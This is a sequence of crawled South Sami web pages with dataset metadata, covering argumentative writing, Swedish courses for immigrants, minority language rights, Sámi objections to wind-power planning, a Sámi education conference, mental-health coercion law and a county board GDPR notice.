geajnoe-bealesne, tjoerem varki skodtedh geajnoen rastah eannan bïjle båata.\nMah tjaalegh leah argumentereles tjaalegh?\nArgumentereles tjaalegh vuesiehtimmien gaavhtan:\nLohkemeprievie\nTjaelije sæjhta sov mïelem mietie tjaeledh jïh sov vuajnoem buektedh jïh juekedh mubpiejgujmie juktie dejtie tsevtsedh. Lohkemeprievie persovneles, subjektijve jïh åenehke.\nÅejvieartihkele, lahtestimmie jallh kronihke plaeresne\nAajkoe lea seedtijen vuajnoem mubpide almetjidie buektedh byögkeles aamhtesen bïjre, lohkijh tsevtsedh seamma vuajnose. Jis saatnems argumentasjovne , dellie maahta lohkijem tsevtsedh. Gellien aejkien guhkebe tjaalege byögkeles aamhtesen bïjre gusnie vuarjasjimmieh, digkiedimmieh jïh buerkiestimmieh. Seedtijen vuajnoe dam klaerede.\nSaernieh, filmi, gærjaj jallh musihki bïjre.\nTjaalege ryöktesth lohkijidie filmem, gærjam jallh musihkem juvnehte jallh doelehte. Dovne kultuvredarjomh (filme, gærja, musihke, teatere, konseerte) åehpiedahta vuarjasjimmine. Dah daamhtaj tjaelijen jïjtse vuajnoem vuesiehtieh.\nReklaame\nAajkoe lea dåastojem tsevtsedh jïh dan vuajnoem jeatjahtehtedh juktie galka maam joem åestedh, aktem dorjesem jallh dïenesjimmiem.\nOhtseme\nAajkoe lea dåastojem tsevtsedh guktie edtja vïenhtedh datne bööremes ohtsije. Tjirkeslaakan edtjh dam tjaeledh jïh byjjes gïelem nuhtjedh.\nGovlesadtedhKjernestoff","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:164987\/topic:1:161361\/resource:1:163198","date":"2020-01-17T21:15:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250591234.15\/warc\/CC-MAIN-20200117205732-20200117233732-00160.warc.gz","language":"sma","language_score":1.0000013113,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.000001311302185}","num_words":376,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.074,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ryöjreden- jïh sveerjen ööhpehtimmieh sïbjehbåetijidie jïh baataræjjide\nFörberedelseutbildningar och svenska utbildningar för invandrare och flyktingar\nIndividuellen programme – introduksjovnekuvsje (IVIK)\nAadtjen båateme baataræjjanoerh introduksjovnekuvsjem vaedtsieh govhte våhkoeh \"Slussesne\". Programmesne dovne ööhpehtimmie sveerjengïelesne jïh integrasjovnebarkosne jïh gaajhkh learohkh jïjtje coachem åadtjoeh.\nIVIK dejtie learoehkidie gïeh jeatjah ietniegïelem utnieh enn sveerjengïele jïh daarpesjieh ryöjredidh jis sijhtieh lohkedh nasjonellen jallh jeatjah individuellen programmem, åålmehjïlleskuvlh jallh jeatjah ööhpehtimmieh\/kuvsjh.\nSFI-skuvle – Sveerjengïele sïjsjuhtijidie\nSveerjengïele sïjsjuhtijidie (SFI) ööhpehtimmie geerve sïjsjuhtijidie gïeh dan mietie åadtjoeh maadth maahtoem sveerjen gïelesne jïh sveerjen aarkebiejjie-, siebriedahke- jïh barkoejieliemisnie. SFI-skuvlen ulmie njaalmeldh jïh tjaaleldh maahtoem vadta mah buerie våarome barkoen jallh jienebh lohkemen åvteste sjædta.\nEdtjh gåetieluhpiem åadtjodh jïh Upmejen tjïeltesne tjaalasåvva dellie reaktam åtnah SFI-skuvlesne lohkedh. Ööhpehtimmie åesehts jïh ih maehtieh lohkemedåarjoem ööhpehtæmman åadtjodh.\nÖöhpehtimmie sveerjen gïelesne sijsjuhtijidie jallh baataræjjide giej lea ålkoerijhken jåarhkeskuvle- jallh jolleskuvleööhpehtimmie\nVåaromeööhpehtimmie sveerjen gïelesne lea abpetïjje-ööhpehtimmie golme termijnh (våaromeööhpehtimmie 1, 2 jïh 3) dejtie learoehkidie giej ålkoerijhken jåarhkeskuvle- jallh jolleskuvleööhpehtimmie jïh sijhtieh akademijen lohkemidie Sveerjesne ohtsedidh. Folkeuniversiteten jïh Upmejen universitetesne ööhpehtimmiem ektesne tjïrrehtieh jïh dåhkasjahteme maahtoem sveerjen gïelesne jïh siebredahkesne vadta.\nÖöhpehtimmie såjhtoesveerjengïelesne\nFolkeuniversitete jïh Upmejen universiteete ööhpehtimmiem ektesne öörnieh. Dïhte abpetïjjemööhpehtimmie dejtie gïeh skïemtjesåjhtoelohkemem lohkeme laantine gusnie eah leah meatan noerhtelaanti latjkanïmmesne jallh EU-direktijvesne. Ööhpehtimmesne göökte boelhke-kuvsjh gusnie sveerjengïelem lïerehtidh. Jis dåhkasjamme dellie åadtjoeh jienebe lohkedh guktie sveerjen legitimasjovnem åadtjodh.\nIVIK\n090-16 10 00 (veeksele)\nSFI-skuvlen\nekspedisjovne\n090-16 41 48\nFolkuniversitetet\n090-71 14 00 (veeksele)\nSidan har granskats 2016-01-29","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/www.umea.se\/umeakommun\/fristaendesidor\/sprak\/languages\/samegielat\/oohpehtimmiejihmaanahokse\/ryojredenjihsveerjenoohpehtimmiehsibjehbaetijidiejihbaatarajjide.4.3f5fc95914ce7bcf45114d59.html","date":"2020-01-24T15:36:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250620381.59\/warc\/CC-MAIN-20200124130719-20200124155719-00440.warc.gz","language":"sma","language_score":0.999992609,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"sma_Latn_score\": 0.9999926090240479}","num_words":220,"character_repetition_ratio":0.092,"word_repetition_ratio":0.0,"special_characters_ratio":0.139,"stopwords_ratio":0.091,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Du är här:\nSveerje lea vïjhte nasjonellen unnebelåhkoeh jååhkesjamme. Dah leah saemieh, romeerh, torneladtjh, judarh jïh sveerjesåevmieladtjh. Sveerje lea aaj laakem nænnoestamme mij galka nænnoestidh unnebelåhkoej nuepieh jïh reaktah meatan årrodh jïh unnebelåhkoegïelide saemiengïelem, meänkielim, såevmiegïelem, jiddischem jïh romanigïelem dåarjodh. Datne gie nasjonellen unnebelåhkose govlesovvh galka reaktam utnedh dov unnebelåhkoegïelem lïeredh, evtiedidh jïh soptsestidh.\nSjïere nænnoes reaktah datne åtnah gie såevmiegïelem, meänkielim jallh saemiengïelem soptsestidh. Datne edtjh maehtedh åejvieladtjide gaskesadtedh jïh voeresehoksem såevmiegielesne, meänkielisne jallh saemiengïelesne åadtjodh, jis barkijh gååvnesieh mah gïelem maehtieh. Jis tjïelte gusnie årroeh lea såevmiegïelen, meänkielin jallh saemiengïelen reeremedajvesne galkh aaj maehtedh dov gïelesne tjïeltine govlesadtedh jïh vaestiedassem dovne njaalmeldh jïh tjaaleldh seamma gïelesne åadtjodh. Datne aaj maahtah krïevedh maana- jïh voeresehoksem, abpe tïjjem jallh boelhkem, såevmiegielesne, meänkielisne jallh saemiengïelesne.\nDaelie nasjonellen goerehtimmie jåhta reeremedajvi bïjre. Orrestaaren tjïelte lea ohtseme såevmien reeremedajvem sjïdtedh jïh aaj ohtsemem ryöjrehtidh saemien reeremedajven bïjre.\nIetniegïele unnebelåhkoegïelesne\nLearohkh mah govlesuvvieh naan daejstie nasjonellen unnebelåhkojste reaktam utnieh ietniegïeleööhpehtæmman. Lohkh vielie skuvlerubrihken nuelesne.","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/ungutveckling.com\/omsorgochhjalp\/invandringintegration\/otherlanguagespublicinformation\/aarjelsaemien\/nasjonellenunnebelahkoeh.4.4c4feec515e441a88a91fbb1.html","date":"2020-01-19T00:45:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250593994.14\/warc\/CC-MAIN-20200118221909-20200119005909-00230.warc.gz","language":"sma","language_score":0.9999983311,"language_script":"Latn","minhash_cluster_size":53,"top_langs":"{\"sma_Latn_score\": 0.9999983310699463}","num_words":160,"character_repetition_ratio":0.1,"word_repetition_ratio":0.0,"special_characters_ratio":0.128,"stopwords_ratio":0.15,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"NVE peker på reindriftsamiske områder i Finnmark og Trøndelag som best egnet for vindkraft i sin nye rapport. – Denne formen for kraftutbygging kan ikke gå på bekostning av sårbare urfolksnæringer, sier sametingsråd Silje Karine Muotka.\nNorges vassdrags- og energidirektorat (NVE) har i Nasjonal ramme for vindkraft på land foreslått 13 områder som NVE mener er best egnet for utbygging av vindkraft. Reinbeiteområder i Finnmark og Trøndelag er med blant disse.\n– Vindkraftutbygging kommer i tillegg til andre planlagte inngrep i beiteområdene, som for eksempel utbygging av veier, jernbane, kraftlinjer og hyttebygging, for å nevne noe. I det sørsamiske området er reindrifta allerede under sterkt press på grunn av arealinngrep og dette er en stor og alvorlig trussel mot sørsamisk språk og kultur, sier Muotka.\nRapporten beskriver delvis samisk bruk i områdene\nDet er utarbeidet detaljkart for de utvalgte områdene og NVE har også begrunnet hvorfor de ulike områdene er valgt ut. Innenfor områdene er det deler som er ekskludert fra utbygginger, noe som også fremgår av detaljkartene. Det er beskrevet hvordan NVE har vurdert den samlede belastningen for inngrep i de utvalgte områdene.\nSametingsråd Silje Karine Muotka mener det er viktig at NVE har gjort forsøk på å beskrive samisk bruk som del av kartleggingen. Slike dokumenter mangler alt for ofte et helhetlig kunnskapsgrunnlag når det skal foretas store utbygginger.\n– Min bekymring er likevel knyttet til det store og samlede utbyggingspresset på sårbare reinbeiteområder, og at NVE i sin rapport fortsatt legger opp til nye prosjekter i områder der det allerede er svært mange og omfattende arealinngrep. Deler av dette forslaget bidrar til det samlede utbyggingspresset, og det kan ikke Sametinget støtte slik forslaget er nå.\nBer om konsultasjoner\nNVE vektla i sin framleggelse av den nasjonale rammen for vindkraft at søknader utenom de utpekte områdene ikke vil bli prioritet. Dette betyr at det ikke legges opp til utbygging av ny vindkraft i Troms og store deler av Nordland. Videre opplyste NVE at rapporten ikke vil ha betydning for vindkraftverk som det allerede er gitt tillatelse til, men at den vil kunne få betydning for vindkraftsøknader som nå ligger til behandling hos energimyndighetene. Slik dette forslaget fremstår vil også vindkraftplaner i Øst Finnmark være uaktuelle for videre utbygging.\n– Sametinget har nettopp fått tilgang til rapporten og vi vil nå foreta en grundig gjennomgang av den. Sametinget vil be om konsultasjoner med Olje- og energidepartementet for å sikre at samiske interesser og rettighetshavere skal ivaretas i videre arbeid med dette forslaget fra NVE. Jeg forventer en klargjøring fra departementet om hvordan de vil forholde seg til søknader som planlegges utenfor de utvalgte områdene, sier Muotka.\nTar saken til plenumsbehandling\nSametingsrådet vil fremme forslaget fra NVE for behandling i Sametinget kommende plenum. Det er viktig at Sametingets politikere får tid og anledning til å uttale seg i en sak som dette. Sametingsrådet mener at vindkraft fortrinnsvis skal etableres nær befolkningskonsentrasjonene, og ikke i uberørte områder som er meget viktige for den samiske befolkningen.\n– Det gjelder både vår tradisjonelle bruk av disse områdene og reindriftsnæringen som allerede presses fra mange kanter, sier sametingsråd Silje Karine Muotka.\nSørsamisk versjon:\nSaemien tjoeperdimmie juktie båatsoedajvh mah joe leah tjarke deadtoven nuelesne maehtieh bïegkefaamoebigkemasse åtnasovvedh\nNVE båatsoesaemien dajvide Finnmaarhkesne jïh Trööndelagesne tjuvtjede mah bööremeslaakan bïegkefaamose sjiehtieh sov orre reektehtsisnie. Daate såarhts el-faamoebigkeme ij maehtieh prååsehke aalkoealmetjejielemi åvtene båetedh, saemiedigkieraerie Silje Karine Muotka jeahta.\nNöörjen tjaetsie- jïh energijedirektoraate (NVE) lea tjaatsegisnie Nasjonaale mierie bïegkefaamose eatnamisnie raeriestamme 13 dajvh mah NVE veanhta bööremeslaakan sjiehtieh bigkemasse bïegkefaamoste. Båatsoedajvh Finnmaarhkesne jïh Trööndelaagesne leah dej dajvi gaskem.\n–Bïegkefaamoebigkeme lissine båata dejtie jeatjah soejkesjamme skilkehtasside gåatomedajvine, goh vuesiehtimmien gaavhtan bigkeme geajnojste, ruevtieraajroe, el-faamoelinjah jïh hæhtjoebigkeme, juktie naakedem neebnedh. Åarjelsaemien dajvesne båatsoe joe tjarke deadtoven nuelesne arealeskilkehtassi gaavhtan jïh daate akte stoerre jïh itjmies aajhtoe åarjelsaemien gïelen jïh kultuvren vööste, Muotka jeahta.\nReektehtse såemiesmearan saemien åtnoem dajvine buerkeste\nAkte detaljekaarhte lea dorjesovveme dejtie vaeljehke dajvide, jïh NVE lea aaj buerkiestamme man åvteste sijjieh leah dejtie ovmessie dajvide veeljeme. Dajvi sisnjeli bielieh gååvnesieh mah eah edtjh bigkemasse åtnasovvedh, naakede mij aaj lea våajnoes detaljekaarhtine. Desnie buerkiestamme guktie NVE lea dam tjåenghkies mööremem skilkehtassijste vuarjasjamme dejnie vaeljehke dajvine.\nSaemiedigkieraerie veanhta vihkeles NVE lea voejhkelamme saemien åtnoem buerkiestidh goh akte bielie goerehtallemistie. Dagkerh tjaatsegh ååpsen daamtaj aktem ållesth daajroevåaromem fååtesieh gosse edtja stoerre bigkemh tjïrrehtidh.\n–Mov tjoeperdimmie lea læjhkan ektiedamme dan stoerre jïh tjåenghkies bigkemedeadtoevasse prååsehke gåatomedajvide, jïh NVE sov reektehtsisnie annje orre prosjekth dejnie dajvine sjïehteladta gusnie joe lea gellie jïh stoerre arealeskilkehtassh. Bielieh daehtie raeriestimmeste leah akte lissiehtasse dan tjåenghkies bigkemedeadtoevasse, jïh Saemiedigkie ij maehtieh dam dåarjoehtidh guktie raeriestimmie lea daelie.\nKonsultasjovni bïjre birrie\nNVE sov åehpiedehtiemisnie dehtie nasjonaale miereste bïegkefaamose tjïertesti ohtsemh dej tjïertestamme dajvi ålkoli eah sïjhth prioriteradamme sjïdtedh. Daate sæjhta jiehtedh dah eah sjïehteledtieh orre bïegkefaamoem bigkedh Romsesne jïh stoerre bieline Nordlaanteste. NVE aaj beevni reektehtse ij sïjhth ulmiem utnedh bïegkefaamoevïerhkide mejtie joe lea luhpie vadtasovveme, men dïhte maahta ulmiem åadtjodh bïegkefaamoeohtsemidie mah daelie leah gïetedimmesne energijeåejvieladtji luvnie. Naemhtie guktie daate raeriestimmie vååjnoe daelie dellie bïegkefaamoesoejkesjh Luvlie Finnmaarhkesne eah sïjhth sjyöhtehke årrodh vielie bigkemasse.\n– Saemiedigkie aadtjen reektehtsem åådtjeme jïh mijjieh sijhtebe dam eensilaakan gïehtjedidh daelie. Saemiedigkie sæjhta konsultasjovni bïjre birredh Ålja- jïh enegijedepartemeentine juktie gorredidh saemien ïedtjh jïh reakta-aajhterh edtjieh gorresovvedh dennie guhkiebasse barkosne daejnie raeriestimmine NVE:ste. Manne aktem tjïelkestimmiem departemeenteste veanhtedem guktie dah sijhtieh ohtsemh gïetedidh mejtie soejkesjeminie dej vaeljehke dajvi ålkoli, Muotka jeahta.\nAamhtesem gïetedæmman vaalta stoerretjåanghkosne\nSaemiedigkieraerie sæjhta raeriestimmiem NVE:ste gïetedæmman Saemiedigkesne buektedh båetije stoerretjåanghkosne. Vihkeles Saemiedigkien politihkerh astoem jïh nuepiem åadtjoeh lahtestimmiem buektedh aktene aamhtesisnie goh daate Saemiedigkien veanhta bïegkefaamoe uvtemes edtja tseegkesovvedh dej dajvi lïhke gusnie gellie almetjh årroeminie, jïh ij dejnie miehtjies dajvine mah leah joekoen vihkeles saemien årroejidie.\n–Daate faamosne dovne mijjen aerpievuekien åtnose daejstie dajvijste jih båatsose mij joe lea deadtoven nuelesne gellede lehkeste, saemiedigkieraerie Silje Karine Muotka jeahta.","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/nearadio.no\/trondelag\/samisk\/nyheter\/samisk-bekymring-for-nve-plan\/19.21369","date":"2020-01-20T09:16:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250598217.23\/warc\/CC-MAIN-20200120081337-20200120105337-00542.warc.gz","language":"sma","language_score":0.9933443069,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"sma_Latn_score\": 0.9933443069458008}","num_words":952,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.059,"flagged_words_ratio":0.0,"lang_id_score":0.995,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemien pedagogeles faagebiejjiej tihtele 2020 lea «Saemien maanaj jïh noeri byjjenimmie-tsiehkie, gïele jïh teknologije\"Aamhtese dam voestes biejjiem lea ellies råajvarimmie maanide jïh noeride. Håalijh edtjieh gïelen bïjre soptsestidh, maanan reaktaj bïjre, jieledehaalvemen bïjre jïh nuepieh guktie maahta lïeremem sjïehteladtedh, evtiedimmiem gïele,- jïh identiteeten bïjre, jïh jïenebegïeleldh ööhpehtimmien bïjre. Minngemes boelhkem dam voestes biejjesne leah parallelle sesjovnh goh gïelebiesien metodihke, faageorrestimmiem, goerehtimmie- dïrregidie, joejkh jïh soptsestimmie-vuekien bïjre.Aamhtesem mubpien biejjien lea digitaale didaktihkeles hammoe. Saemien faagebiejjieh öörnesuvvieh fïerhten mubpien jaepien ovmessie bieline Saepmesne.\nKonferaansen ulmiedåehkie lea uvtemes pedagogh saemien skuvline jïh maanagïertine, bene hævvi råårestalleme aaj sjeahta skuvleaajhteridie, barkijidie PP-dïenesjisnie, skuvleraeriestæjjide j.n.v\nKonferaansem sjædta «streamet».\nSaemien sjïerepedagogeles nedteviermie (SEAF) faagebiejjide öörnesuvvieh. Saemiedigkie, Statped jïh Nasjonale jarnge saemien ööhpehtimmesne leah beetnehvierhtie vadteme. Råårestallemen ulmie lea pedagogeles faagealmetjh saemien lïerehtimmieinstitusjovnijste tjöönghkedh abpe saemien dajveste juktie faageles maahtoem evtiedidh, govlehtalledh jïh åahpenidh Saemien joekehtsh bieliejgujmie. Lissine nedteviermiem learoevierhtieh jïh goerehtallemen dïrregh evtiedieh saemien utnijidie","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/www.statped.no\/konferanser\/andre-konferanser\/samiske-pedaogiske-fagdager\/om-fagdagene\/","date":"2020-01-26T05:48:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579251687725.76\/warc\/CC-MAIN-20200126043644-20200126073644-00240.warc.gz","language":"sma","language_score":0.9999965429,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.999996542930603}","num_words":148,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.129,"stopwords_ratio":0.23,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjabrehtasse\nTjabrehtimmiem nåhtadidh almetji vööste healsoeektiedimmesne lea stuvreme jieniebinie laakine, gaskem jeatjah skïemtjije- jïh utnijereaktalaake, healsoe- jïh hoksedïenesjelaake jïh laake tseegkemen jïh tjïrrehtimmien bïjre psykiske healsoevaarjelimmeste.\nÅssjele laakigujmie lea ovdaerpies tjabrehtimmiem jïh faamoeåtnoem nåhtadidh almetji vööste mah maehtieh jïjtjemse jallh mubpieh irhkedh. Dïenesjh vedtedh almetjide dagkarinie dåemiedimmine gåvloem jïh goerkesem kreava mannasinie almetjh naemhtie dåemiedieh.\nByöroe tjabrehtimmiem liepedh, men maahta dam nænnoestidh\nLaakh edtjieh dïhte våarome årrodh juktie raastem bïejedh gaskem dam tjabrehtimmiem maam maahta laaken mietie jååhkesjidh, jïh dam tjabrehtimmiem maam ij maehtieh jååhkesjidh. Edtja jeatjah raerieh pryöveme åvtelen vuarjesje tjabrehtimmiem nåhtadidh. Daate sæjhta jiehtedh healsoedïenesje aktem riekteles stillemem åtna tjabrehtimmiem jïh faamoem liepedh jis gåarede. Dej veajkoej gusnie læjhkan daerpies tjabrehtidh, healsoedïenesje edtja nænnoestimmiem darjodh dan bïjre. Healsoedïenesje dïedtem åtna sisnjelds kontrollem tjïrrehtidh juktie gorredidh dïenesjh daennie suerkesne lea sïejhme laaki jïh mieriedimmiej mietie.\nÅtnoe tjabrehtimmeste psykiske healsoevaarjelimmesne\nGellie njoelkedassh gååvnesieh tjabrehtimmien bïjre psykiske healsoevaarjelimmesne, jïh kontrollekommisjovnh leah raaktan daan åssjelasse tseegkesovveme. Laake gaajhke såarhts tjabrehtimmieh stuvrehte: tjabrehtamme psykiske healsoevaarjelimmie, tjabrehtamme båehtjierdimmie jïh åtnoe tjabrehtimmievierhtijste.\nMaahta ajve tjarbehtamme psykiske healsoevaarjelimmiem nåhtadidh gosse jïjtjevyljehke psykiske healsoevaarjelimmiem pryöveme bielelen dïhte gaagnine orreme, jallh gosse vuajna ij leah naan måane dam pryövedh.\nStriengkies krïevenassh bïejesuvvieh åtnoen bïjre tjabrehtamme psykiske healsoevaarjelimmeste. Skïemtjije tjuara aktem ietjmiem aejvereskïemtjelassem utnedh, jïh lissine båehtjierdimmievæhtan jallh vaahravæhtan nualan båetedh. Båehtjierdimmievæhta sæjhta jiehtedh tjabrehtimmie daerpies olles skïemtjije vïerrebe sjïdth, jallh olles bueriedimmienuepieh vïerrebe sjïdth. Vaahravæhta sæjhta jiehtedh skïemtjije lea akte vaahra jïjtse jallh mubpiej hïegkese jallh healsose.\nKlååkemeöörnegh\nFylhkenålma maahta nænnoestimmiem tjabrehtimmieåtnoen bïjre jarkelidh. Maahta fylhkenålman sjæsjalimmiem laejhtedh Fylhkenmoenehtsasse sosijaale aamhtesidie, jïh minnegemosth dle digkiereakta maahta dam jarkelidh. Fylhkenålma aaj dïedtem åtna tjïelten barkoem vaaksjodh daennie suerkesne.\nEdtja nænnoestimmiem tjabrehtamme psykiske healsoevaarjelimmien bïjre, åtnoen bïjre tjabrehtimmievierhtijste jïh reaktagaertjiedamme råajvarimmiej bïjre kontrollekommisjovnese seedtedh, mearan nænnoestimmie tjabrehtimmiebåehtjierdimmien bïjre Fylhkenålmese seedtesåvva.","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/www.fylkesmannen.no\/sma\/Healsoe-jih-hokse\/Tjabrehtasse\/","date":"2020-01-17T22:31:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250591234.15\/warc\/CC-MAIN-20200117205732-20200117233732-00320.warc.gz","language":"sma","language_score":0.9999985695,"language_script":"Latn","minhash_cluster_size":42,"top_langs":"{\"sma_Latn_score\": 0.9999985694885254}","num_words":290,"character_repetition_ratio":0.116,"word_repetition_ratio":0.0,"special_characters_ratio":0.115,"stopwords_ratio":0.11,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Naemhtie mijjieh dov persovnebïevnesh gïetedibie\nSuehpeden 25.b. raejeste orre daatavaarjelimmien laakeöörnege, GDPR, gaajhkine EE-laantine bööti. Sveerjesne dïhte persovnebïevneselaaken, PUL:en sijjeste båata. Vaarjelimmiem dov persovnebïevnesistie nænnoste jïh dov reaktam nænnoste daejredh mïsse dejtie nuhtjie jïh guktie dejtie åejvieladtjijste gïetede, bene aaj mubpieh organisasjovnine jïh sïeltine.\nLeeneståvroe maahta daarpesjidh dov persovnebïevnesh tjöönghkedh, dåastodh jallh jeatjah vuekine dejtie gïetedidh. Persovnebïevnesh lea gaajhkh bïevnesh mah ryöktesth jïh ovryöktesth maehtieh fysihken almetjasse vuesiehtidh gie jielieminie. Gaajhkh såarhth gïetedimmieh mah maahta persovnebïevnesigujmie darjodh, vuesiehtimmieh vöörhkedh, veesmedh, juekedh jïh kopijeradidh, lea akte gïetedimmie persovnebïevnesistie.\nJis datne ieriem åtnah leeneståvrosne, veeljemesïetelisnie meatan årrodh, meatan akten stiftelsen ståvrosne jallh maam akt darjodh suerkesne gusnie mijjieh vaaksjobe dellie mijjieh dov persovnebïevnesidie gïetedibie. Seamma jis datne vuesiehtimmie konferaansesne maam mijjieh öörnebe jallh jis datne jååhkesjh guvvesne jallh filmesne mijjen sosijaale kanaaline, webbesijjine jïh jienebh meatan årrodh.\nGïetedimmie persovnebïevnesistie edtja laaken våarome utnedh\nGaajhkh gïetedimmieh persovnebïevnesistie tjuerieh laaken våaromem utnedh. Leeneståvroe gellie ovmessie reaktasuerkine barka, jïh dan gaavhtan ij leah nuepie laaken våaromem fïerhte sjïere gïetedimmiem buerkiestidh daennie webbesijjesne. Jis datne sïjhth vielie daejredh bïevnesi bïjre mejtie mijjieh dov bïjre gïetedibie dellie datne åadtjoeh govlesadtedh dejnie leeneståvrojne mij sjyöhtehke jallh mijjese leeneståvroej ektie daatavaarjelimmieorganisasjovnese, NOD.\nLeeneståvroeh ektie dïedtem utnieh\nGaajhkh 21 leeneståvroeh laantesne akte ektie IT-organisasjovnem utnieh jïh gellie vuajnojne mijjieh aaj ektie systemidie nuhtjebe. Dan gaavhtan leeneståvroeh ektie dïedtem utnieh persovnebïevnesidie orre daatavaarjelimmien laakeöörnegen mietie, GDPR. Leeneståvroeh aaj ektie dïedtem utnieh persovnebïevnesidie mubpiej åejvieladtjigujmie.\nLaaketseegkeme struktuvrem kreava jïh dïhte edtja tjïelkes årrodh dïsse gie registreradamme guktie dïedtem lea juakeme leeneståvroej jïh mubpie åejvieladtji gaskem. Dïhte sæjhta jiehtedh gie dïedtem åtna guktie dov persovnebïevnesidie laaken mietie, vihties jïh reaktoe vuekine gïetedidh.\nLeeneståvroej daatavaarjelimmien tjirkije\nDaan gaavhtan Leeneståvroeh seammaleejns barkoeh utnieh åejvieladtjh leah veeljeme akte ektie organisasjovnem utnedh (maam gohtje NOD) daatavaarjelimmien jïh GDPR:en åvteste. Akte krïeveme daatavaarjelimmien laakeöörnegisnie lea åejvieladtje edtja daatavaarjelimmien tjirkijem nommedehtedh jïh daam Daatainspeksjovnese bïeljelidh mij lea vaaksjomeåejvieladtje.\nLeeneståvroeh göökte daatavaarjelimmien tjirkijh utnieh jïh dej råållah leah daatavaarjelimmien laakeöörnegem vaaksjodh, raeriestidh jïh dåarjodh, datnem viehkiehtidh gie leah registreradamme jïh gaskesem Daatainspeksjovnen vööste årrodh.\nFïerhte Leeneståvroe dïedtem persovnebïevnesidie åtna sov sjïere barkoen åvteste.\nJuktie Leeneståvroeh edtjieh dutnjien dej dïenesjh faaledh jïh dej barkoen dov vööste darjodh daarpesjibie dov persovnebïevnesidie gïetedidh. Abpe gïetedimmesne dov persovnebïevnesijstie mijjieh dov persovneles integriteetem vaarjelibie.\nMijjieh ajve dov persovnebïevnesidie vöörhkebe jis vöörhkeme aajkoem åtna. Persovnebïevnesh mejtie Leeneståvroe gïetede daamhtaj tjaatseginie maam gohtje byjjes tjaatseginie. Gosse edtja nænnoestidh jis edtja tjaatsegem vöörhkedh jallh ij vöörhkh dellie tjuara bïevnesidie vuarjasjidh. Vuarjasjimmesne dellie krööhkie:\nDah våaromen njoelkedassh vöörhkemen bïjre gååvnesieh 2. Kap. 18 § Tryckfrihetsförordningen sisnie jïh arkijvelaakesne. Leeneståvroe tjuara aaj persovnebïevnesidie vöörhkedh krïevemi mietie ovmessie laakeöörnegistie vuesiehtimmieh stifelselaakeste jïh bokföringlaakeste.\nAjve almetjh gïeh dov persovnebïevnesidie daarpesjieh vuejnedh åadtjoeh daam guktie dah maehtieh dej barkoem darjodh. Byjjesvoeteprinsïhpen mietie, mij Sveerjen maadthlaakijste, dellie åålmege reaktam åtna byjjes darjoemijstie vuejnedh mah eah leah sjaavohthvoetijste vaarjelamme. Dan gaavhtan dov persovnebïevnesh maehtieh byjjes darjoeminie årrodh dïhte sæjhta jiehtedh mubpieh almetjh, medijesïelth jallh marhkemedoekemesïelth reaktam utnieh dah tjaatsegh vuejnedh jis dej aajkoe ij leah daatavaarjelimmien laakeöörnegen vööste jallh jeatjah vuekien lea sjaavohthvoeten nuelesne byjjesvoete- jïh sjaavohthvoetelaakine.\nLeeneståvroe maahta aaj daarpesjidh juekedh bïevnesh åejvieladtjide goh polïjsese, Skaehtievearhkan jallh mubpie åejvieladtjide jis mijjieh skåltoem daam darjodh laaki mietie.\nLeeneståvroe iktegisth barka dov persovnebïevnesidie EE\/EES (Europeanen Ektiedimmie\/Europeanen Ekonomijen Ektiebarkoedajve). Sjïere tsiehkine maahta bïevnesidie sjïdtedh gïetedamme laantine EE\/EES:en ålkolen ihke naakenh mijjen deellijistie jallh nueliedeellijstie leah internasjonaale organisasjovnh goh vuesiehtimmieh Microsoft jïh Google.\nLeeneståvroe galka gaajhkh sjyöhtehke legaale, teknihken jïh organisatovreles öörnegigujmie barkedh guktie vihteste dov persovnebïevnesidie jearsoes jïh sjiehteles vaarjelimmiedaltesisnie gïetedieh dovne EE\/EES:en sisnie jïh ålkolen. Jis datne sïjhth daejredh jis jallh gåabph dov persovnebïevnesidie leah buakteme EE\/EES:en ålkolen maahtah mijjien daatavaarjelimmietjirkijem gaskesadtedh.\nFïere guhte aktegs almetje sov jïjtse persovnebïevnesidie eekie. Dan gaavhtan datne goh aktegs almetje sjïere reaktah åtnah mejtie Leeneståvroe skåltoem åtna sjïere tsiehkine krööhkestidh. Daatavaarjelimmien laakeöörnegen mietie datne dah reaktan dan nuelesne åtnah mejtie maahtah vuesiehtidh. Jis sïjhth reaktide nuhtjedh maahtah daatavaarjelimmietjirkijem gaskesadtedh.\nDaatavaarjelimmien laakeöörnegen mietie datne iktegisth reaktam åtnah bïevnesh åadtjodh mah persovnebïevnesidie mejtie Leeneståvroe åtna dov bïjre tjaalasovveme. Jis datne gihtjemem seedtedh 